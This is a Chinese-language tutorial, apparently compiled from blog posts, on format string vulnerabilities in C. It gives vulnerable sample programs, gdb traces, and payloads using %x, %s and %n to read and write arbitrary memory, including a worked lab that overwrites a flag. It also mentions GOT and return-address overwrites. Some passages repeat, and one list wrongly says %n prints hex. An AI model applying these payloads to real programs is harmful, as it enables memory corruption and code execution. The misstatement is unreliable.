格式化字符串漏洞是一个很古老的漏洞了,现在几乎已经见不到这类漏洞的身影,但是作为漏洞分析的初学者来说,还是很有必要研究一下的
(A)基础知识——栈
栈 其实是一种数据结构,栈中的数据是先进后出(First In Last Out),常见的操作有两种:压栈(PUSH)和弹栈(POP),用于标识栈属性的也有两个:栈顶(TOP)和栈底(BASE)。PUSH:为栈增加一个元素。POP:从栈中取出一个元素。TOP:标识栈顶的位置,并且是动态变化的,每进行一次push操作,它会自增1,反之,每进行一次pop操作,它会自减1
BASE:标识栈底位置,它的位置是不会变动的。
接下来我们将介绍一个新的名词:栈帧。当函数被调用时,系统栈会为这个函数开辟一个新的栈帧,这个栈帧 中的内存空间被它所属的函数独占,当函数返回时,系统栈会弹出该函数所对应的栈帧。32位系统下提供了两个特殊的寄存器(ESP和EBP)识栈帧。
- ESP:栈指针寄存器,存放一个指针,该指针指向栈顶。
- EBP:基址指针寄存器,存放一个指针,该指针指向栈底。
CPU利用EBP(不是ESP)寄存器来访问栈内局部变量、参数、函数返回地址,程序运行过程中,ESP寄存器的值随时变化,如果以ESP的值为基 准对栈内的局部变量、参数、返回地址进行访问显然是不可能的,所以在进行函数调用时,先把用作基准的ESP的值保存到EBP,这样以后无论ESP如何变 化,都能够以EBP为基准访问到局部变量、参数以及返回地址。接下来将编译上述代码并进行调试,从而进一步了解函数调用以及参数传递的过程。
2.1 什么是格式化字符串?printf ("The magic number is: %d", 1911);
试观察运行以上语句,会发现字符串"The magic number is: %d"中的格式符%d被参数(1911)替换,因此输出变成了“The magic number is: 1911”。 格式化字符串大致就是这么一回事啦。除了表示十进制数的%d,还有不少其他形式的格式符,一起来认识一下吧~格式符含义含义(英)传%d十进制数(int)decimal值%u无符号十进制数 (unsigned int)unsigned decimal值%x十六进制数 (unsigned int)hexadecimal值%s字符串 ((const) (unsigned) char *)string引用(指针)%n%n符号以前输入的字符数量 (* int)number of bytes written so far引用(指针)
(灵活运用$hn,$hhn等兄弟格式符来写入一个字,一个字节的内容)
%p - 指针 - 指针地址
读:“$ 如果我们输入printf("%100$x"),程序就会以16进制输出栈上偏移位置为100的内存所存放的内容
( * %n的使用将在1.5节中做出说明)2.2 栈与格式化字符串格式化函数的行为由格式化字符串控制,printf函数从栈上取得参数。printf ("a has value %d, b has value %d, c is at address: %08x\n",a, b, &c);
![](40a499c4-e4c6-4721-b4d3-ad124d590f34_files/Image(12).png)
2.3 如果参数数量不匹配会发生什么?如果只有一个不匹配会发生什么?printf ("a has value %d, b has value %d, c is at address: %08x\n",a, b);
在上面的例子中格式字符串需要3个参数,但程序只提供了2个。该程序能够通过编译么?printf()是一个参数长度可变函数。因此,仅仅看参数数量是看不出问题的。为了查出不匹配,编译器需要了解printf()的运行机制,然而编译器通常不做这类分析。有些时候,格式字符串并不是一个常量字符串,它在程序运行期间生成(比如用户输入),因此,编译器无法发现不匹配。那么printf()函数自身能检测到不匹配么?printf()从栈上取得参数,如果格式字符串需要3个参数,它会从栈上取3个,除非栈被标记了边界,printf()并不知道自己是否会用完提供的所有参数。既然没有那样的边界标记。printf()会持续从栈上抓取数据,在一个参数数量不匹配的例子中,它会抓取到一些不属于该函数调用到的数据。如果有人特意准备数据让printf抓取会发生什么呢?2.4 访问任意位置内存我们需要得到一段数据的内存地址,但我们无法修改代码,供我们使用的只有格式字符串。如果我们调用 printf(%s) 时没有指明内存地址, 那么目标地址就可以通过printf函数,在栈上的任意位置获取。printf函数维护一个初始栈指针,所以能够得到所有参数在栈中的位置观察: 格式字符串位于栈上. 如果我们可以把目标地址编码进格式字符串,那样目标地址也会存在于栈上,在接下来的例子里,格式字符串将保存在栈上的缓冲区中。
int main(int argc, char *argv[])
{
char user_input[100];
... ... /* other variable definitions and statements */
scanf("%s", user_input); /* getting a string from user */ printf(user_input); /* Vulnerable place */
return 0;
}
如果我们让printf函数得到格式字符串中的目标内存地址 (该地址也存在于栈上), 我们就可以访问该地址.printf ("\x10\x01\x48\x08 %x %x %x %x %s");
\x10\x01\x48\x08 是目标地址的四个字节, 在C语言中, \x10 告诉编译器将一个16进制数0x10放于当前位置(占1字节)。如果去掉前缀\x10就相当于两个ascii字符1和0了,这就不是我们所期望的结果了。%x 导致栈指针向格式字符串的方向移动(参考1.2节)下图解释了攻击方式,如果用户输入中包含了以下格式字符串
![](40a499c4-e4c6-4721-b4d3-ad124d590f34_files/Image(13).png)
如图所示,我们使用四个%x来移动printf函数的栈指针到我们存储格式字符串的位置,一旦到了目标位置,我们使用%s来打印,它会打印位于地址0x10014808的内容,因为是将其作为字符串来处理,所以会一直打印到结束符为止。user_input数组到传给printf函数参数的地址之间的栈空间不是为了printf函数准备的。但是,因为程序本身存在格式字符串漏洞,所以printf会把这段内存当作传入的参数来匹配%x。最大的挑战就是想方设法找出printf函数栈指针(函数取参地址)到user_input数组的这一段距离是多少,这段距离决定了你需要在%s之前输入多少个%x。
2.5 在内存中写一个数字%n: 该符号前输入的字符数量会被存储到对应的参数中去int i;
printf ("12345%n", &i);
数字5(%n前的字符数量)将会被写入i 中运用同样的方法在访问任意地址内存的时候,我们可以将一个数字写入指定的内存中。只要将上一小节(1.4)的%s替换成%n就能够覆盖0x10014808的内容。利用这个方法,攻击者可以做以下事情:重写程序标识控制访问权限重写栈或者函数等等的返回地址然而,写入的值是由%n之前的字符数量决定的。真的有办法能够写入任意数值么?用最古老的计数方式, 为了写1000,就填充1000个字符吧。为了防止过长的格式字符串,我们可以使用一个宽度指定的格式指示器。(比如(%0数字x)就会左填充预期数量的0符号)
(B)格式化字符串原理
什么是格式化字符串呢,print()、fprint()等*print()系列的函数可以按照一定的格式将数据进行输出
结构:%[标志][输出最小宽度][.精度][长度]类型
格式化字符串漏洞有关系的主要有以下几点:
1、输出最小宽度:用十进制整数来表示输出的最少位数。若实际位数多于定义的宽度,则按实际位数输出,若实际位数少于定义的宽度则补以空格或0。
2、类型:
- d 表示输出十进制整数*
- s 从内存中读取字符串*
- x 输出十六进制数*
- n 输出十六进制数
出现漏洞的情况:
printf(str)——正常使用应该是:printf(“format”,str);
因为没有输入format参数,所以可能导致在str中的故意构造的format参数被认为是调用format函数中给出的format
对于格式化字符串来说,本质还是任意地址的读写,可以用来修改got、ret_addr去控制程序流程,还可以 多次利用格式串,把shellcode一个字节一个字节写到一个 w+x 的内存地址去,然后修改got跳过去执行。
但是如果格式化字符串不在栈中呢?如果不在栈中,那么就不能通过 %*$ 这样的方式去定位,增大了利用难度,在看了phrack的文章,了解到了一种姿势:假如要把 sleep@got 修改成 system@got ,可以先利用格式串把sleep@got先写到当前ebp指向,然后再次利用,把这个改掉,因为都是在 got表中,所以只需要改最后两个字节(x86)。 这样的话就实现了 不在栈中格式串的利用了。
(C)攻击方式
(1)利用printf()函数的参数个数不固定——数组越界访问
正常程序:
#include <stdio.h>
int main(void)
{
int a=1,b=2,c=3;
char buf[]="test";
printf("%s %d %d %d\n",buf,a,b,c);
return 0;
}
改过的程序:
1
printf("%s %d %d %d %x\n",buf,a,b,c),编译后运行:
1
2
3
4
5
6
7
bingtangguan@ubuntu:~/Desktop/format$ gcc -z execstack -fno-stack-protector -o format1 format.c
format.c: In function ‘main’:
format.c:6:1: warning: format ‘%x’ expects a matching ‘unsigned int’ argument [-Wformat=]
printf("%s %d %d %d %x\n",buf,a,b,c);
^
bingtangguan@ubuntu:~/Desktop/format$ ./format1
test 1 2 3 c30000
这个C3000是参数压栈后面的一个地址的内容
![](40a499c4-e4c6-4721-b4d3-ad124d590f34_files/Image(14).png)
(2)利用printf()来读取任意地址读取
刚刚那个情况可以利用的情况有限
现在我们要实现任意地址读取
1
2
3
4
5
6
7
8
#include <stdio.h>
int main(int argc, char *argv[])
{
char str[200];
fgets(str,200,stdin);
printf(str);
return 0;
}
gdb调试,单步运行完call 0x8048340 <fgets@plt>后输入:
AAAA%08x%08x%08x%08x%08x%08x(%08x的意义:最少输出8位,如果不够补0,超过就不管,x代表16进制)然后我们执行到printf()函数,观察此时的栈区,特别注意一下0x41414141(这是我们str的开始):
1
2
3
4
>>> x/10x $sp
0xbfffef70: 0xbfffef88 0x000000c8 0xb7fc1c20 0xb7e25438
0xbfffef80: 0x08048210 0x00000001 0x41414141 0x78383025
0xbfffef90: 0x78383025 0x78383025
继续执行,看我们能获得什么,我们成功的读到了AAAA:
1
AAAA000000c8b7fc1c20b7e25438080482100000000141414141
PS:输出是从ebp+4开始进行读取的
可以用%s来获取指针指向的内存数据。那么我们就可以这么构造尝试去获取0x41414141地址上的数据:
\x41\x41\x41\x41%08x%08x%08x%08x%08x%s
可以用%s来获取指针指向的内存数据:
那么我们就可以这么构造尝试去获取0x41414141地址上的数据:
\x41\x41\x41\x41%08x%08x%08x%08x%08x%s
(3) 利用%n格式符写入数据
%n是一个不经常用到的格式符,它的作用是把前面已经打印的长度写入某个内存地址
1
2
3
4
5
6
7
8
#include <stdio.h>
main()
{
int num=66666666;
printf("Before: num = %d\n", num);
printf("%d%n\n", num, &num);
printf("After: num = %d\n", num);
}
可以发现我们用%n成功修改了num的值:
1
2
3
4
bingtangguan@ubuntu:~/Desktop/format$ ./format2
Before: num = 66666666
66666666
After: num = 8
现在我们已经知道可以用构造的格式化字符串去访问栈内的数据,并且可以利用%n向内存中写入值,那我们是不是可以修改某一个函数的返回地址从而控制 程序执行流程呢,到了这一步细心的同学可能已经发现了,%n的作用只是将前面打印的字符串长度写入到内存中,而我们想要写入的是一个地址,而且这个地址是 很大的。这时候我们就需要用到printf()函数的第三个特性来配合完成地址的写入。
(4)自定义打印字符串宽度
我们在上面的基础部分已经有提到关于打印字符串宽度的问题,在格式符中间加上一个十进制整数来表示输出的最少位数,若实际位数多于定义的宽度,则按实际位数输出,若实际位数少于定义的宽度则补以空格或0。我们把上一段代码做一下修改并看一下效果:
1
2
3
4
5
6
7
8
#include <stdio.h>
main()
{
int num=66666666;
printf("Before: num = %d\n", num);
printf("%.100d%n\n", num, &num);
printf("After: num = %d\n", num);
}
可以看到我们的num值被改为了100
1
2
3
4
5
bingtangguan@ubuntu:~/Desktop/format$ ./format2
Before: num = 66666666
00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
66666666
After: num = 100
看到这儿聪明的你肯定明白如何去覆盖一个地址了吧,比如说我们要把0x8048000这个地址写入内存,我们要做的就是把该地址对应的10进制134512640作为格式符控制宽度即可:
1
2
printf("%.134512640d%n\n", num, &num);
printf("After: num = %x\n", num);
可以看到,我们的num被成功修改为8048000
1
2
3
4
5
6
bingtangguan@ubuntu:~/Desktop/format$ ./format2
Before: num = 66666666
中间的0省略...........
00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000066666666
After: num = 8048000
(D)实例
(1)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include <stdio.h>
int main(void)
{
int flag = 0;
int *p = &flag;
char a[100];
scanf("%s",a);
printf(a);
if(flag == 2000)
{
printf("good!!\n");
}
return 0;
}
要想得到good——需要将flag地址的内容写为2000
首先可以确定的是:
flag的地址和a都在同一个栈帧中,间隔应该差的是100(0x64)
但是flag 的具体位置可能不一定——需要泄露(如果没有开ASRL和简单)
可以通过“打印字符串宽度的问题,在格式符中间加上一个十进制整数来表示输出的最少位数,若实际位数多于定义的宽度,则按实际位数输出,若实际位数少于定义的宽度则补以空格或0”和%n来将目的地址的值改成2000
反编译看看flag的位置:%ebp-0x10
1
2
3
80484ac: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
80484b3: 8d 45 f0 lea -0x10(%ebp),%eax
80484b6: 89 45 f4 mov %eax,-0xc(%ebp
通过前面介绍的泄露地址:
下面我们就可以直接运行程序,并输入%x,然后获取ESP+4地址内的值:
1
2
3
bingtangguan@ubuntu:~/Desktop/format$ ./test
%x
bffff024
那我们需要修改的地址就是:0xbffff024+0x64=0xbffff088
最后就是要在地址0xbffff088处写入2000: \x88\xf0\xff\xbf%10x%10x%10x%1966x%n
分析:2000很容易可以理解,但是为什么会把输入的\x88\xf0\xff\xbf作为%n的地址呢?
主要和栈有关:
借用上面的图:因为整个printf没有format参数,当我们输入整个字符串的时候,目的地址在最高位置,当读到%n 的时候会将最高的地方的值作为%n的地址,所以会将2000写入这个位置
(借用其他博客上的话:当printf的format string是一个用户可控的字符串时,如果其中包含有%d这样特殊意义的字符时,printf就会根据format string的指示,把堆栈中接下来的地址作为余下的参数解释,从而做出程序作者没有预期的行为。)
(E)参考文章
http://bobao.360.cn/learning/detail/695.html